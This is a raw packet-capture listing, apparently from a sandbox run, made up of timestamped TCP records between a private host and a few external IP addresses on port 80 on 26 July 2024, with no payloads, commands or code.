Jul 26, 2024 13:49:32.154097080 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.154145956 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.154176950 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.154207945 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.154239893 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.154270887 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.154303074 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.154335976 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.154550076 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.154586077 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.154597998 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.154629946 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.154661894 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.154705048 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.154736996 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.154768944 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.154803991 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.154978991 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.155010939 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.155044079 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.155076027 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.155107975 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.155138016 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.155169010 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.155200958 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.155234098 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.155267000 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.155364037 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.155397892 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.159126997 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.159198046 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.159231901 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.159259081 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.159295082 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.159322023 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.232796907 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.232819080 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.232830048 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.232840061 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.232850075 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.232860088 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.232870102 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.242686987 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.244761944 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.267096996 CEST	59038	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:49:32.272381067 CEST	80	59038	34.107.221.82	192.168.2.6
Jul 26, 2024 13:49:32.289268970 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.289294958 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.289309025 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.291232109 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.291243076 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.291251898 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.291363001 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.291429043 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.291440010 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.291517973 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.291528940 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.291713953 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.291757107 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.291766882 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.291863918 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.291874886 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.291954041 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.291964054 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.292028904 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.292068958 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.292078972 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.292201996 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.292211056 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.292220116 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.292227983 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.292236090 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.292345047 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.292356014 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.297836065 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.297990084 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.298042059 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.298065901 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.298688889 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.298758030 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.298767090 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.298846006 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.298979044 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.298989058 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.299079895 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.299088955 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.299098969 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.299108028 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.299117088 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.299318075 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.299329996 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.299417019 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.299426079 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.299470901 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.299499035 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.299504995 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.299518108 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.299525976 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.299535990 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.299686909 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.299768925 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.299778938 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.299906969 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.299916029 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.299925089 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.299935102 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.300210953 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.300220013 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.300229073 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.300237894 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.300240993 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.300246954 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.300429106 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.300518990 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.300529003 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.300596952 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.300606012 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.300679922 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.300726891 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.300801992 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.302182913 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.302192926 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.302211046 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.302328110 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.302340984 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.302350044 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.302500963 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.302572966 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.302582026 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.302591085 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.302601099 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.302810907 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.302820921 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.302954912 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.302964926 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.302973986 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.303158998 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.303169012 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.303181887 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.304502010 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.304512978 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.304522038 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.305649996 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.305700064 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.305710077 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.305718899 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.305917978 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.305926085 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.305936098 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.306001902 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.306010962 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.306086063 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.306097031 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.306103945 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.306256056 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.306284904 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.306315899 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.306360006 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.306390047 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.306418896 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.306447029 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.307148933 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.307199001 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.307228088 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.307296991 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.307326078 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.307354927 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.307435036 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.307463884 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.307502031 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.307531118 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.307533026 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.307558060 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.307714939 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.307984114 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.308031082 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.308059931 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.308118105 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.308149099 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.308319092 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.308334112 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.308362961 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.308403015 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.308433056 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.308552027 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.308587074 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.308615923 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.309762001 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.309813976 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.309896946 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.310115099 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.329591036 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.329644918 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.329678059 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.329715014 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.329765081 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.329771996 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.329804897 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.329838991 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.329902887 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.330131054 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.377847910 CEST	80	59059	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:32.377928019 CEST	59059	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:32.382410049 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.382457018 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.382502079 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.382555008 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.382587910 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.382620096 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.382653952 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.382718086 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.382797003 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.382838011 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.385684967 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.385745049 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.440124989 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.440167904 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.440202951 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.440211058 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.440282106 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.440601110 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.440653086 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.440682888 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.440715075 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.440761089 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.440885067 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.441452980 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.441519022 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.441535950 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.441585064 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.441951990 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.442012072 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.442033052 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.442065001 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.442100048 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.442133904 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.442177057 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.442220926 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.442254066 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.442287922 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.442363024 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.442451000 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.442579985 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.442678928 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.442712069 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.442715883 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.442745924 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.443082094 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.443125963 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.443190098 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.443234921 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.443314075 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.443316936 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.443346977 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.443393946 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.448606014 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.448657036 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.448657990 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.448690891 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.448771954 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.448784113 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.448817015 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.448848963 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.448863983 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.448900938 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.449062109 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.449114084 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.449142933 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.449176073 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.449315071 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.449371099 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.449423075 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.449450016 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.449459076 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.449492931 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.449521065 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.449538946 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.449569941 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.449600935 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.449632883 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.449665070 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.449692965 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.449944973 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.449949026 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.449985027 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.450014114 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.450046062 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.450340033 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.450493097 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.450541973 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.450557947 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.450591087 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.450639009 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.450707912 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.450758934 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.450792074 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.450820923 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.450831890 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.450854063 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.450858116 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.450890064 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.450897932 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.450937033 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.450952053 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.450984955 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.451093912 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.451127052 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.451159000 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.451252937 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.451313972 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.451348066 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.451410055 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.451438904 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.451472044 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.451508999 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.451548100 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.452644110 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.452693939 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.452722073 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.452727079 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.452789068 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.455082893 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.455133915 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.455167055 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.455295086 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.455307961 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.455339909 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.455374956 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.455447912 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.455480099 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.455513000 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.455542088 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.455574989 CEST	80	59056	185.215.113.16	192.168.2.6
